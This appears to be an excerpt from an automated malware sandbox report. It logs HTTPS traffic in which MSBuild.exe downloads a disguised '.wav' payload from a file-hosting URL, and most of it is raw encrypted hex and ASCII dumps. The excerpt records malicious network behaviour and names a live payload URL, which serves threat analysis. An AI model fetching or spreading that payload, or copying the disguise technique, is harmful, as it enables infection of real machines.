2023-08-13 06:43:43 UTC	1123	IN	Data Raw: 99 b0 6b d6 9d 1b 2b da 27 37 0a 61 bf 51 e3 08 32 54 de 81 c3 c2 83 e3 76 72 67 fd 18 c9 b1 38 0d 99 69 45 b2 15 8b e8 a7 77 1f a5 c7 c0 79 51 8d b3 53 a7 47 2c 79 33 86 31 6b 81 35 8c 91 4e 10 f9 39 97 58 81 3c 92 80 35 d5 a2 e1 28 cc 07 a4 d3 6e 20 f1 d4 80 58 f9 50 3a 8d 1d a5 13 79 6d b4 ff 1a d3 20 68 24 ab e0 fb 59 55 f6 a2 64 0b 89 5b 44 c7 87 b9 56 64 30 bc e6 26 ab 33 dc 7d 9e ac 1e ff b9 c2 ca 3b 46 9f 6a 81 9f 93 1e e9 24 4f fd bb 5f 67 54 e9 1a f6 af 08 e7 be be 81 88 03 20 3f cf ac d3 d7 cc 35 55 29 3c 1b 2e 9d 58 e4 6b c8 83 c1 66 ae 29 9f d1 c4 c6 65 44 76 82 02 4a b7 c7 5d 60 29 06 8f b9 0c db af c8 e9 61 1f 31 1c c1 ed d1 b7 dd e9 4e cd 10 41 09 b9 c1 d0 50 70 4b d7 5d fd 96 64 bb b9 7a 43 cc 48 87 b2 81 95 2e ee e9 83 33 b9 98 87 e3 8e Data Ascii: k+'7aQ2Tvrg8iEwyQSG,y31k5N9X<5(n XP:ym h$YUd[DVd0&3};Fj$O_gT ?5U)<.Xkf)eDvJ]`)a1NAPpK]dzCH.3
2023-08-13 06:43:43 UTC	1139	IN	Data Raw: 1f 62 23 24 7f fc 78 fa 5f 5b 3c d3 c9 1d 91 ce 18 1e 70 d5 91 0d 7f 0c aa 45 eb 85 37 a9 4d 02 69 43 fb c1 5b 85 2d 9f 3b 01 f4 9b c3 5d f9 4a 62 74 22 a7 95 5d 77 12 a9 22 4a 9e c5 31 eb 84 e5 c1 e3 97 62 bb 8d 6e 92 ce be 0b 88 3f f4 bf 1d fc ce f4 35 e4 a0 ad 70 7f 72 f9 a7 28 a0 ab bc 1c 38 48 32 43 fe fb ea b6 1e 49 a6 96 13 f1 92 a9 6f 69 d7 9c ca 30 01 4b 18 7f 47 19 88 2a df e5 44 37 8d 58 2f ce 28 2d 4b 92 0a 49 1c e5 2a 85 0d 85 5d b0 b5 be 56 80 73 af c7 2c ac 3a 02 37 00 55 21 e1 1c eb 62 80 3c 10 81 46 e9 a9 1c 69 e7 59 4d 31 7a b3 06 8c 58 84 a8 65 17 8f 4a a6 f8 6d b7 7a 0d 6e 20 7d d2 65 6a 39 c2 10 6d 01 33 52 99 3b 97 df b4 d0 d1 00 a6 ab dc 47 97 b9 8b e3 ea cb 49 c1 eb a3 95 6f 4f 56 d2 ff 95 0e a3 b8 81 5f d1 ca f3 7c 76 d7 7e 15 45 Data Ascii: b#$x_[<pE7MiC[-;]Jbt"]w"J1bn?5pr(8H2CIoi0KGD7X/(-KI]Vs,:7U!b<FiYM1zXeJmzn }ej9m3R;GIoOV_\|v~E
2023-08-13 06:43:43 UTC	1155	IN	Data Raw: 21 32 80 f9 70 64 53 b9 8e 78 78 66 6c a4 18 8e b7 b6 87 58 e0 70 23 52 6e c4 b2 00 2f 62 0b 07 bc fe c8 fb a9 fc 6f 04 ca f2 d1 e8 31 49 32 f5 6b e3 b2 a8 f1 3b 44 65 b8 cb 8e da 84 14 be 28 3c 73 9d 4e ba 59 b6 67 27 87 95 72 cd 79 72 6c af 8d 90 bb d1 dc 43 07 a8 da 10 d2 fa 57 6a 7e b0 a7 c6 a1 17 d9 39 78 1d c9 c0 cd fc b9 32 73 5e e2 9a b8 3f 56 a2 ff 55 55 2a 8e 6d f9 c9 a3 9e 5f 05 68 7a 26 31 87 3b 4e d6 c9 8b d2 12 19 2d dd eb 92 50 d6 74 ee ca 3e 59 21 75 b1 95 49 82 98 47 7a 06 73 a3 05 e4 a9 cd 66 93 f1 ee a3 fc 34 cd d9 97 38 5d d4 10 4d 34 1c b2 38 3b 32 e0 29 a9 74 a8 f7 d0 02 77 75 a9 4b 9f 34 83 21 2b aa 2f d5 81 74 05 fc bb 72 57 a4 45 ed 25 68 f9 31 a3 72 9b 63 51 99 2f 78 3c 33 5a dc 3b 83 e2 6e bc 63 e2 37 ba b7 9f 88 8b d3 a1 9c 6a Data Ascii: !2pdSxxflXp#Rn/bo1I2k;De(<sNYg'ryrlCWj~9x2s^?VUU*m_hz&1;N-Pt>Y!uIGzsf48]M48;2)twuK4!+/trWE%h1rcQ/x<3Z;nc7j
2023-08-13 06:43:43 UTC	1171	IN	Data Raw: 86 0f c5 d8 eb 19 26 b2 f9 1c 0b 04 78 a5 fd be b0 29 11 e5 a4 38 a5 68 89 70 88 44 1b 75 3e 26 1f 46 de fe d4 8b 2d d9 ba 2e 76 1a f4 3b 9c 13 ee 41 9c 1e 2c 32 81 a3 5d f7 40 49 6b 50 7c 4a 0d 2c fe 34 d9 cb b7 8a 6e f4 6b cb 72 bd fe f9 41 67 db fd bb 66 63 9d 6f a2 84 c5 0f 02 4a 4d c9 30 cd 15 32 f2 98 a0 b3 7a f7 5d 3b f6 a3 b1 e7 39 1b 2b 49 bc 02 a5 d1 2b ab 7a 85 c2 7e a0 61 9d 7b e6 27 a9 8d 54 4e c7 19 e2 8e bd 55 a2 9e 08 81 4f d1 2c 4e 9f fc 0c bc b9 de c3 5e 15 56 ce 18 ca 6c 71 5f 68 10 54 64 9b 01 39 cd 9c 94 92 d4 42 54 e6 fa 45 59 77 fc b6 8d 03 76 c9 5a 5b 48 3c 4c 43 4c 7c 06 61 99 c5 d0 48 e4 50 77 1b b2 b0 38 b5 73 c2 fe 36 39 22 53 6e bf 4d cd 58 e6 56 82 bd 27 a5 53 0b 8a 99 5b 06 05 59 d3 44 89 37 a3 ba c2 ee 6a e0 a2 b1 13 71 06 Data Ascii: &x)8hpDu>&F-.v;A,2]@IkP\|J,4nkrAgfcoJM02z];9+I+z~a{'TNUO,N^Vlq_hTd9BTEYwvZ[H<LCL\|aHPw8s69"SnMXV'S[YD7jq
2023-08-13 06:43:43 UTC	1187	IN	Data Raw: 81 62 da 5e a5 d1 11 02 63 a7 fb ed 4a b3 16 4c 1f 6d 25 d9 59 ed 4e 10 de 2c c8 d9 1c 7b 8a 33 dd da 02 7d 49 7b 63 71 e0 2c 22 21 f1 1b e7 fc 7d c3 49 42 ea e1 0a ed 63 f0 ca 46 6b 2f ca b4 0e dd 9e d7 89 80 29 3e 73 1c 73 a6 47 ef d2 5e 11 f4 35 4d 9d 64 92 cc 0e e1 da 04 2a fa c2 9e 31 12 ea f6 55 df 6a 62 ce 33 32 f4 df 23 4e 8c 7f 6d fa f6 66 f7 89 56 63 ce ba 21 eb ee 8a 04 68 c7 20 b9 42 36 8a 1f 92 b2 79 5d a1 2d dc 96 5b 82 84 db 35 08 4d 86 11 9b 88 0e 0d 7a 35 5d 3a 08 7c e2 36 5d b0 a3 c3 17 11 63 fb cb a5 c6 af c3 2f 9b 3c 13 db de 7d 58 03 2b 1c 17 56 27 3d bd ff 82 a3 a8 79 80 a8 b0 9d 03 df d1 3b 81 a9 b2 05 bc 4a c5 b2 1f 11 7f 91 7a c8 49 a1 9b 73 f7 a4 5e 64 1f 5e 0c 20 00 4c bf f8 a6 77 0a 7b 9d ff bd 86 eb b4 59 bc 47 40 63 f9 a7 e8 Data Ascii: b^cJLm%YN,{3}I{cq,"!}IBcFk/)>ssG^5Md*1Ujb32#NmfVc!h B6y]-[5Mz5]:\|6]c/<}X+V'=y;JzIs^d^ Lw{YG@c
2023-08-13 06:43:43 UTC	1203	IN	Data Raw: 41 65 a4 9c 6a 04 c6 a0 ac b1 cd 26 c4 60 80 f9 3f e3 b5 e7 f8 01 2a 02 a4 f4 74 49 17 12 16 17 68 20 2e 2c 8a 29 25 47 17 d9 01 d2 17 e8 89 20 17 32 41 43 88 ce 18 cb c9 97 92 ed 0c 12 97 a2 d9 89 16 5b 55 1c 5a 52 1e f7 bb de ed 9f 70 85 3f 28 d8 48 39 e2 18 57 a7 a8 43 66 76 b7 83 2d e9 6c f8 eb 42 96 bf 53 2e 92 f1 8c 74 8c e4 c6 13 0f 66 fe 7e ec 9e 33 be fb 28 86 36 07 76 b4 f7 80 01 a2 6a 1f 1f cb 9a 22 a8 0d 1e 18 68 d6 6a 70 d6 a1 e2 ef df c1 04 9f 67 6d a9 17 97 ef 50 5d a7 08 5e fc 80 94 06 4c f1 f3 b6 7c 32 bb f1 57 01 68 cf 17 17 47 bf 9f 72 90 f1 9e 18 a4 89 f6 8a 45 91 81 6f 2d ae 24 27 4b 08 9f 06 41 b4 d8 a8 52 32 5d f6 49 39 91 6e 37 e2 cd bd 7e a6 8e 58 0a cf d6 4d c3 5b 4e fe 77 14 d7 57 b4 39 d6 1c 23 d6 e4 ce 3b d3 6b 6e 24 f0 9e b1 Data Ascii: Aej&`?*tIh .,)%G 2AC[UZRp?(H9WCfv-lBS.tf~3(6vj"hjpgmP]^L\|2WhGrEo-$'KAR2]I9n7~XM[NwW9#;kn$
2023-08-13 06:43:43 UTC	1219	IN	Data Raw: 01 6a bf 98 95 04 89 dd 4e 70 11 7b b6 cf 07 15 04 c6 a9 61 46 32 3a 45 c3 12 cd e3 27 20 96 46 07 ff fc 47 f2 ef cd b8 b5 9b ab f7 96 9c 10 ce 09 49 0f fc a3 fe e3 fe 08 bc 61 db f6 89 a6 4d a4 39 4d 4d 0d 46 6c 09 7a f8 85 1b b5 0c 8c fd 4a c9 55 12 c4 1b 99 c6 46 f3 7e 00 eb 09 aa 0c a6 9c b6 b2 f6 bb 52 fb 6e f5 82 70 26 ed a7 03 8b cd 79 3d fd 3d 55 1a b7 1e 32 21 b6 d4 48 b8 e0 7f fd 6f 39 87 82 ce 91 e1 bf fe 08 74 4c 62 9b ad 40 ca da c8 1f 24 ad 9a 32 8b 56 6d f4 cb d7 28 72 fa 6b 21 76 17 c4 63 60 75 77 d2 b6 47 e2 c3 6b e8 58 db 21 27 6a 4a a1 62 ee 88 9b 81 bf 4e f8 6c 6a 0a 87 01 e9 98 2b 0c 49 56 d2 0e ee c9 05 95 f8 12 32 72 6b c7 af fc e0 69 61 60 a5 e1 70 4b 2a 81 95 76 ac 38 0b 0b 6f 73 8e e8 9d 62 7f 1d 5c 93 ac d0 3d 9f 6d ba fd be c8 Data Ascii: jNp{aF2:E' FGIaM9MMFlzJUF~Rnp&y==U2!Ho9tLb@$2Vm(rk!vc`uwGkX!'jJbNlj+IV2rkia`pK*v8osb\=m
2023-08-13 06:43:43 UTC	1235	IN	Data Raw: 91 ff e0 8f 5b 0f f0 ff f2 73 d4 ab ac 42 8b 32 b4 da 69 da 77 d1 fc 76 05 75 55 7b 10 67 ee be 0c 51 ef 78 f4 5d 65 1d 38 01 32 6a 63 8c bc 87 4b 08 65 cf 22 d4 f3 4b 81 03 1b aa f2 3e b8 20 22 fd ce 75 e0 e3 1c fd 06 1e 29 9a f4 2c ab 68 f5 d4 2f 13 d2 c5 5f 64 8b 10 f4 de 3f 53 76 5d 72 db d3 eb e5 48 22 a4 a1 c0 fd b5 14 00 9b fe fb 52 77 d3 a6 a2 47 e0 5c 14 8e e6 f7 e6 9b bb 9a 34 74 2d 28 af f2 2d f2 a3 32 88 ab 0b be b4 71 47 0a ba 63 29 80 82 d7 8a a4 c1 89 4b 1e 21 50 17 87 4e be 5d c1 82 ef 7c 1b 97 6b 11 c0 d5 2b 2a 4c c3 f8 65 78 fc 76 92 36 bf 17 a4 bf 6e 38 26 07 19 6a 4e c4 ce cb 39 61 fe 1b 42 f7 9d ae 40 c9 53 af 9c ef b4 ce 7c 3b a7 90 d9 7b 76 6a a7 74 fb e9 11 61 ea 3b f4 cb 29 01 b6 df 7c dd 5c aa aa 5c 7a a8 b4 d7 44 2e 3a 9a a7 3c Data Ascii: [sB2iwvuU{gQx]e82jcKe"K> "u),h/_d?Sv]rH"RwG\4t-(-2qGc)K!PN]\|k+*Lexv6n8&jN9aB@S\|;{vjta;)\|\\zD.:<
2023-08-13 06:43:43 UTC	1251	IN	Data Raw: c5 09 ca 3c 99 e7 ea b0 b7 c4 a5 dd e8 56 53 35 8e ff 58 eb 82 35 4b f1 f1 0e e0 7c 2b c5 38 a0 5a eb 48 44 59 c4 ab ad ca 11 d0 e1 d0 01 0b a4 90 5d 98 7f 01 67 1f f8 d0 fa 1e 37 2b 6f 58 c5 8f 3a 16 46 6e 0e 23 fb 01 db 88 f0 ef b6 48 36 ac a0 54 06 67 9a 98 a3 21 84 e1 84 0e 7a 53 00 dd 35 71 34 38 31 38 a7 98 83 31 ab f1 ef f6 f9 85 8b f1 be c4 62 49 a1 a5 2a e9 68 39 10 53 e4 54 a8 bf c6 e5 fd a5 91 83 d4 76 a1 f2 13 82 77 d7 e5 ef 3e da 15 51 c2 df 30 2f 92 5f c8 f7 2d d3 8b 80 d7 8f c0 f3 ba 95 15 1c 5b bd 36 26 3d 0e b9 d6 76 b8 7f b8 e2 95 48 b6 91 29 3b e7 14 54 ca e7 69 3a ba 08 e8 f0 f9 28 ea af c0 db 61 63 86 4b 2a cb b5 83 1c b5 8b 4e 38 74 a8 f1 e0 4a 8d 7a d7 7e 4e 02 b8 d5 dc 29 9f 3f 8b 5f 39 1d df 4d 2e 81 66 ec 48 c9 79 ab 84 8f 11 ff Data Ascii: <VS5X5K\|+8ZHDY]g7+oX:Fn#H6Tg!zS5q48181bIh9STvw>Q0/_-[6&=vH);Ti:(acKN8tJz~N)?_9M.fHy
2023-08-13 06:43:43 UTC	1267	IN	Data Raw: b1 3f dc 87 0e a3 83 99 ba 91 f4 6c 90 94 53 a4 14 b2 10 e0 43 ab 4c 3e 15 25 f5 32 b5 68 e8 58 58 5b ec f7 68 3d e2 86 3f ad 64 a0 36 98 55 05 03 ce fb f3 b6 d3 23 67 1e d4 ee 75 d9 a9 46 99 dc f0 d6 2c 39 56 0b 33 bd dc 34 94 e2 ec 7d 37 3e ca 2f a9 a6 5b 99 ee 79 ba db 9e 0d 01 16 7b 2d 84 c2 b7 1d 75 8c a5 e4 e0 17 9b e5 a1 fe 62 c7 a1 10 bd cb aa 08 81 74 2d 2a 32 e9 7a 6a 2f 0b 7b a2 84 9a 30 eb 5c e1 d1 a9 b7 48 be 6b 24 c7 19 43 8f 07 29 66 9b c5 2d 91 8d fa af c9 73 08 c4 7d 5f 4f 21 df 83 ea e1 3c ee 00 a7 b9 d3 a6 8f ce 20 bc 21 99 8f b2 fe b3 19 ca 8f 63 b2 6e d9 1e be 50 ce 0e 42 f2 99 a2 9a bf f5 dc c9 3a 71 eb 53 22 3f c7 33 ed e9 93 0c a7 cf 1b 82 4f 88 1c 7e 5e 01 d7 60 90 85 01 98 bc 3b e2 19 e5 d0 dc 0c ef 7c f7 86 ef fa 56 fe d9 95 12 Data Ascii: ?lSCL>%2hXX[h=?d6U#guF,9V34}7>/[y{-ubt-*2zj/{0\Hk$C)f-s}_O!< !cnPB:qS"?3O~^`;\|V
2023-08-13 06:43:43 UTC	1283	IN	Data Raw: b4 57 7b 23 9a 59 d6 41 2d aa b0 f5 19 c0 3a c3 25 2b 73 5e 63 32 8f 08 86 e1 12 09 75 40 bc 67 51 b3 cc 55 85 09 db 64 db 7a b9 35 0a bb ab 2c 71 2c 7f 99 4b 7f f4 5d 83 1b 67 6f 21 39 e6 a4 61 07 d9 c1 2b f3 11 ea c3 9b 08 00 47 26 e8 75 fd 2f e2 9f 2e 2a 03 9f 1c f8 f3 01 ac 70 ae 15 9a 94 12 d9 49 10 16 c8 09 ca 4e 45 cf 55 aa c7 55 1c 63 9e ac 25 36 b0 ce 21 c0 fa 9e 86 0e 95 eb fd 7d a9 fe 8a 1b 88 f4 02 b7 8e 06 11 01 b6 44 4c 9d aa 73 3c 7e 5c 44 76 8d cd f9 91 3c 92 4e af 33 64 6d bf 20 b3 78 07 a0 28 2e 06 e1 a9 ab cc f9 19 09 d1 c9 d8 f6 d5 c3 f5 01 da 73 29 3f 4a 5e f0 48 6a c7 cb 32 2c a3 58 f7 b3 a3 83 1e 54 86 65 17 cf 64 08 a4 a3 d9 de dd b3 45 1b f6 7a 16 09 a9 b4 25 49 ed 9e 29 ea b0 44 2b 2a a6 ed 8f 38 ef bb de 85 98 7f 21 e9 ec b7 23 Data Ascii: W{#YA-:%+s^c2u@gQUdz5,q,K]go!9a+G&u/.pINEUUc%6!}DLs<~\Dv<N3dm x(.s)?J^Hj2,XTedEz%I)D+8!#
2023-08-13 06:43:43 UTC	1299	IN	Data Raw: ad 44 a4 31 21 e8 93 8d 73 5e ef 2e 3f 21 b4 d6 be 38 3e 15 2a 9f 6a 10 a6 83 19 a5 c9 b7 d5 c6 4f 4f 41 e4 e0 f3 3d 62 4d a1 20 b0 01 04 65 84 6b 37 ee 19 f5 83 98 3e 65 e7 e4 a0 2a 75 a4 a8 15 0e ee 4c 9d df 59 71 7e a8 74 2d 25 42 5d ee 70 04 7e b9 2b f9 04 c0 8b ca dd 99 ea 9e 4a 5f cc ec 71 56 c9 5a 0f 6d b1 c6 1d 96 96 d8 2f fb 93 79 6a b3 ec ae af c9 e4 2d e4 21 4a 5e d3 ca d1 5a e8 34 dc f8 c7 32 48 cb bc a6 66 28 4c b8 51 d1 19 f0 48 63 aa b3 4e 6f 86 88 a4 53 49 d7 b3 53 46 26 66 e0 2f 31 89 f4 58 9d 76 0d c0 39 b7 13 85 6e 2f 98 c4 5e 98 15 06 fc ea 89 2b a8 6e d1 1a 33 9e b3 5d 9e f0 ca e8 cf c3 2b 8f 34 ef 35 b3 30 b4 70 c5 53 65 37 fa 1d 03 4f f8 a4 ef 15 f3 5a e5 31 0f db 54 aa cb aa 0d 6e bf fa ed 0b fd a1 25 8e 24 fd ce e1 ba 35 53 db cc Data Ascii: D1!s^.?!8>jOOA=bM ek7>euLYq~t-%B]p~+J_qVZm/yj-!J^Z42Hf(LQHcNoSISF&f/1Xv9n/^+n3]+450pSe7OZ1Tn%$5S
2023-08-13 06:43:43 UTC	1315	IN	Data Raw: 18 be 93 0c f2 a4 a0 61 4f 14 1a 9a 20 82 a9 9e 60 0b a1 0f 2f 1f 89 7e 73 3a 33 ea 0d 9c a0 13 1c 91 dc 93 6b 9b 65 f3 0c 11 42 af 27 fd 3a ff 5f 74 49 78 0f b7 d0 20 57 4a 72 83 e0 5b 86 fd 6d 60 14 ad 33 32 8f 27 70 d1 f9 4f 2c ac 9c 6c 83 76 a9 f8 e4 fd 4b 53 30 39 91 6d ca fa 3e 03 8c 1b fb 5e 5f de b3 44 d0 56 0b 89 4f 1d 77 9b 6f 48 df 32 70 5c ff 5b 14 7a 0c ef 15 31 19 e8 46 5a 61 ba 8f 94 eb 45 41 dc 1d 29 43 63 25 82 f4 bd 23 c5 d6 d2 ce 2e 93 0b 1d 33 dd a8 07 5b 1a fb 71 87 3d 29 bd 71 31 d1 83 d8 4c e5 02 81 c4 b6 b8 71 89 48 c9 3c 6f 41 24 96 33 d0 14 c5 7c 55 17 fe 9b 7c d3 4a 3e e7 41 6b 40 7b 59 bd 95 c7 4e bd da 02 1c 06 ce 65 a0 8d 0f 59 ab 20 9f 5e 93 fe 1e 22 bb 22 fd 86 d7 2e 90 76 77 c2 b8 c2 11 23 77 1b 0c 71 2c 46 ea bc 8d 79 ac Data Ascii: aO `/~s:3keB':_tIx WJr[m`32'pO,lvKS09m>^_DVOwoH2p\[z1FZaEA)Cc%#.3[q=)q1LqH<oA$3\|U\|J>Ak@{YNeY ^"".vw#wq,Fy
2023-08-13 06:43:43 UTC	1331	IN	Data Raw: 8f 8a f7 40 30 3f 62 63 41 2e 2d df 7a bf a0 fd f0 51 d4 19 14 41 e5 ca 81 7c 64 cf 5a f9 cc 14 bd 48 66 bd ef 10 36 19 32 64 5f b8 01 73 1e 07 ea 9b e4 3d 33 6d 07 59 a8 25 73 de f5 7f 8e c3 24 53 e8 97 78 e7 51 25 ee 97 40 24 c4 79 34 cb 69 b7 d9 16 30 93 d8 ba 5c b4 ad 2f 8d 81 14 8d 22 56 f1 ce 7f 26 79 e3 5d fd eb 1e 7d f7 7c 34 8c 91 50 62 b4 b1 b1 9e 0c 06 b5 61 e7 d4 6d bf c8 dd 23 bf 8b 0b 5a d8 78 f1 4c 55 95 3f 0a c2 70 4a ba ea 39 c2 2c 3b 55 a8 c1 de e9 29 5e 93 17 5b 0c 3d 8e 12 2b 01 c1 fe b9 b5 d0 50 11 e2 57 84 ea e9 08 22 ff de d7 49 1a a4 23 b7 2e 9c 53 fc 9d 07 a9 e3 a4 59 c4 7a 69 d0 6b 27 e2 0f fe 8f 1a 71 e9 23 a7 1d 05 af 22 fc 67 6b f6 1f cd a5 76 bb 03 bd 09 ce ac 9a 8c e7 44 5a 30 e9 50 4d 41 ec bc 6d 8c 96 78 85 0f 5c 27 c3 7f Data Ascii: @0?bcA.-zQA\|dZHf62d_s=3mY%s$SxQ%@$y4i0\/"V&y]}\|4Pbam#ZxLU?pJ9,;U)^[=+PW"I#.SYzik'q#"gkvDZ0PMAmx\'
2023-08-13 06:43:43 UTC	1347	IN	Data Raw: ad a7 30 0d 6c ca fe c3 d2 02 e3 42 8a 0e 06 3a c5 71 f0 50 74 3f d2 05 42 cd f1 ab 24 46 ae 88 62 02 61 18 09 ea 97 28 c6 08 c7 51 8e ef 90 b8 4f 8b b5 29 20 6d ed 98 3a 0c 81 be 98 4e 96 44 a4 b9 7b 96 ea d9 56 a6 49 73 8b f7 6b ef 58 81 85 57 b2 8b ac ca 45 ae 52 88 b5 81 c5 b9 2d 38 0c d7 96 b7 f2 1a 29 10 2d be 3c 58 5a 8c 32 f0 ae 3e 42 2d a2 98 cc f8 1d 22 ad 33 2e 57 d6 0f 90 02 24 9e e1 3f d1 dc e0 f5 34 8d cb 82 e7 e9 31 5a f1 ae 17 80 d8 66 03 f3 d0 63 24 39 73 66 7a 05 84 e0 5d c2 a8 f8 43 b9 f9 88 1e ec c1 e4 e7 4f e4 6b 5f 9e be 6f ec a4 43 e8 35 93 64 25 e5 62 45 8d 50 4e 53 48 07 43 1f fc 5f a9 25 b2 d2 08 23 b8 fb d1 b8 16 41 87 8d 9e 03 b3 19 4a 7c 48 ca 94 d5 c3 9c d8 cc 44 32 2f df a7 67 3c 4a 8d 89 e5 42 1b 7b 43 7c c6 04 b3 49 1b 68 Data Ascii: 0lB:qPt?B$Fba(QO) m:ND{VIskXWER-8)-<XZ2>B-"3.W$?41Zfc$9sfz]COk_oC5d%bEPNSHC_%#AJ\|HD2/g<JB{C\|Ih
2023-08-13 06:43:43 UTC	1363	IN	Data Raw: 29 bc b3 3d 82 f1 1d 53 2e 7b ef 22 59 6e 94 e5 1e 07 2e b2 86 64 d4 4a af 3d df 54 65 27 86 1b 52 19 4e 5c 84 68 61 6f 08 13 03 3d 66 6e 3d a6 55 74 1c 65 57 ce 8b 29 11 a7 6c d1 f3 f2 24 7b 16 c7 59 6f 56 f8 95 34 5a 1b e7 b8 c3 05 5a d3 63 02 61 e4 d4 9d 96 94 a1 1d 46 a2 dd ce ea fd 21 de 73 36 07 9a 5a 80 ad c2 0f 4b 6e 45 59 d8 5d 37 1c 56 33 9e a9 b0 7c 10 d6 8c 79 6c 66 4a 55 82 ed 61 d8 6b 81 35 c0 6d b8 29 f7 31 1c 36 9d ff 85 b6 9e cf c5 1d 9c 64 60 cb 5e 13 4b 02 31 eb 10 67 a1 b9 6a 86 98 5a 87 9c 46 1f 76 5c ea 69 42 7a a5 61 4f b0 01 8a d4 c0 2f 58 72 ab dc 3b a6 84 7e 18 e0 9d c7 4b b9 6c ff 3f 6f 2a f9 c2 49 36 1f 8e 22 90 1b 57 b0 67 f2 7c 14 2a 72 00 81 df 14 3d 86 3f 3e 76 13 c6 b4 a3 ed ec 97 7a 65 76 50 7f de fc af 24 84 97 ac 1a 74 Data Ascii: )=S.{"Yn.dJ=Te'RN\hao=fn=UteW)l${YoV4ZZcaF!s6ZKnEY]7V3\|ylfJUak5m)16d`^K1gjZFv\iBzaO/Xr;~Kl?oI6"Wg\|r=?>vzevP$t
2023-08-13 06:43:43 UTC	1379	IN	Data Raw: 3f 40 e3 b1 b2 e0 48 1e 3f 4f 65 b5 60 f7 96 a3 d7 36 0a 26 1d 5f f1 b2 32 dc 75 04 b5 66 8e e7 30 13 28 c1 77 12 fb 66 e0 16 b0 34 26 e5 d6 99 85 3b 8e 32 c6 7d b2 5f a3 47 b5 7c 6e f2 0e 63 26 61 98 d1 a1 36 7c a0 f8 8d ff 19 bd be e4 da d7 a7 a7 35 2b 5d 3f b0 59 66 f6 9a cd 65 62 05 e4 45 19 b4 f6 72 40 f0 8f 98 fa f4 f4 4c fb 51 06 24 2f ba 03 d0 06 df 61 84 d1 35 f0 31 fb 7b 36 63 e6 6e 67 11 12 7a 14 cc ed 75 59 80 af b3 94 13 a9 44 7a 67 45 67 53 b5 b2 12 99 40 15 a7 38 7e d0 0b 9d fe 65 34 e4 cf 24 60 08 29 16 5d f8 8e 6f a6 0e 49 14 40 55 38 f8 0b 10 c8 6e 7f 66 f4 a4 5d d3 d3 23 bf 47 3e 96 6b c0 b5 41 ca 56 15 33 d1 19 97 a9 71 0c 8d 7d 3c 2e ea 60 af 36 9b 0c 8e 3d f2 32 79 f5 15 4b cf 00 ba 36 dc f1 21 c4 9d 81 04 fb 70 30 93 90 54 a8 de 37 Data Ascii: ?@H?Oe`6&_2uf0(wf4&;2}_G\|nc&a6\|5+]?YfebEr@LQ$/a51{6cngzuYDzgEgS@8~e4$`)]oI@U8nf]#G>kAV3q}<.`6=2yK6!p0T7

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49754	108.181.20.39	443	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-13 06:43:53 UTC	1380	OUT	GET /1eq98g.wav HTTP/1.1 Host: files.catbox.moe Connection: Keep-Alive
2023-08-13 06:43:53 UTC	1381	IN	HTTP/1.1 200 OK Server: nginx/1.21.3 Date: Sun, 13 Aug 2023 06:43:53 GMT Content-Type: application/octet-stream Content-Length: 705040 Last-Modified: Sat, 12 Aug 2023 22:58:06 GMT Connection: close ETag: "64d80e7e-ac210" X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self' https://files.catbox.moe; style-src https://files.catbox.moe 'unsafe-inline'; img-src 'self' data:; font-src 'self'; media-src 'self'; object-src 'self'; Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Accept-Ranges: bytes
2023-08-13 06:43:53 UTC	1381	IN	Data Raw: ea 4f c1 13 bb 5b df 09 35 6e c5 b4 b2 a4 ab 9f 7b 3d 0d 5d f7 89 bc c5 ec 13 85 84 ab 4a a3 7e d4 59 f2 22 a3 8b d0 f0 01 28 bf db 13 67 52 2d d5 9e 5f f7 6e 53 3c 29 4b da 70 73 8c 8a f1 53 59 53 15 f8 a7 8d 46 d5 3b 88 14 87 5b 3e 46 58 20 f0 d6 21 e5 e3 2c 5a 1a 42 c9 42 68 0f 0d 49 1f d1 e3 db 9a f3 39 90 ae 20 73 db e8 a2 ec f5 da c2 4d 36 e4 ef 34 da 3f 88 1c 96 f1 3e de 2d 50 13 d1 db ed bb 14 08 16 ae 2b 8e 16 43 80 0c e7 a1 7d c5 e1 a2 95 84 72 2b 88 d2 38 e1 21 47 3f 1a 8c fa 90 0f b1 86 1d bd 91 43 c8 47 4c c6 33 a3 a4 30 69 85 46 d1 f8 b9 e4 48 a4 90 2a aa 89 21 e0 8b b6 78 96 64 61 03 ce 60 c2 a7 54 2c 38 c2 02 1c b4 1b 5e 40 39 00 ea 40 da 64 00 3a 3e 95 dd c6 9e e1 1d c2 8b dc fb 0e 89 77 26 37 78 12 f6 ad 76 1a 8b e1 cc 51 11 ea 39 b4 a3 Data Ascii: O[5n{=]J~Y"(gR-_nS<)KpsSYSF;[>FX !,ZBBhI9 sM64?>-P+C}r+8!G?CGL30iFH*!xda`T,8^@9@d:>w&7xvQ9
2023-08-13 06:43:53 UTC	1397	IN	Data Raw: 40 b3 8e fb 6d ee f0 dc e9 df 68 33 64 f3 68 7b 9a f9 47 e6 14 8f ad c4 39 15 50 fb 0c 07 86 76 38 21 19 49 18 0a b9 0b 35 7d b7 c1 49 06 1d 2a 9b 5e ee 1b c8 bb 94 51 87 24 96 46 44 85 82 76 80 22 97 35 69 97 35 8a 4c 08 ae 24 c2 0c 8f 1a 62 08 64 48 62 48 d2 ef 15 5b 73 ad 6b 0d b0 20 25 0c ce 78 0d f3 9b 20 46 1d 63 e3 77 59 e9 e0 63 e8 d7 3d 6d c2 4b fb 77 38 0f 7a 38 12 42 6e 4b 5b cd 6f 8e 0e d2 96 e6 b9 3d ef 99 08 4e bf 1a 07 58 5e 3d d0 1f 24 42 56 aa 67 f6 09 fc d3 5e 68 66 17 c0 05 48 66 69 9e 06 45 00 4a ba f6 80 bc c7 9b 57 d1 3e 73 1b 06 94 06 1f ac 33 9f e0 10 e3 68 54 b5 cf ee 01 fd 76 1c fc a1 8d 96 f9 f9 ce b1 34 24 f7 5c bf bd 89 3c f9 9e 41 84 d8 73 9a de d0 1b f2 6a 74 e0 10 e6 98 55 a2 c2 e1 ec 5e 0e cc 7d 34 f1 1b 1a 6e ed 6d c2 b2 Data Ascii: @mh3dh{G9Pv8!I5}I*^Q$FDv"5i5L$bdHbH[sk %x FcwYc=mKw8z8BnK[o=NX^=$BVg^hfHfiEJW>s3hTv4$\<AsjtU^}4nm
